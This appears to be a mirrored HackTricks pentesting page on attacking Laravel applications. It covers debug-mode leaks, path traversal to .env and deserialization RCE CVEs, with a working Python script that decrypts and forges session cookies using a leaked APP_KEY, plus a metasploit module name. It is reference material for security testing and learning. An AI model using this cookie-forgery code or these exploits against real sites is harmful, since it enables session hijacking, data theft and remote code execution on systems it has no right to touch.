mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
122 lines
7.2 KiB
Markdown
122 lines
7.2 KiB
Markdown
# Laravel
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Laravel Tricks
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### Debugging mode
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If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
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For example `http://127.0.0.1:8000/profiles`:
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.png>)
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This is usually needed for exploiting other Laravel RCE CVEs.
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### .env
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Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
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Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).
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Using the secret APP\_KEY of Laravel you can decrypt and re-encrypt cookies:
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### Decrypt Cookie
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```python
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import os
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import json
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import hashlib
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import sys
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import hmac
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import base64
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import string
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import requests
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from Crypto.Cipher import AES
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from phpserialize import loads, dumps
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#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
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def mcrypt_decrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
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dic = json.loads(base64.b64decode(bstring).decode())
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mac = dic['mac']
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value = bytes(dic['value'], 'utf-8')
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iv = bytes(dic['iv'], 'utf-8')
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if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
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return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
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#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
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return ''
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def encrypt(string):
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global key
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iv = os.urandom(16)
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#string = dumps(string)
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padding = 16 - len(string) % 16
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string += bytes(chr(padding) * padding, 'utf-8')
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value = base64.b64encode(mcrypt_encrypt(string, iv))
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iv = base64.b64encode(iv)
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mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
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dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
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return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
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```
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### Laravel Deserialization RCE
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Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
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Here you can find information about the deserialization vulnerability here: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
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Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
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### Laravel SQLInjection
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Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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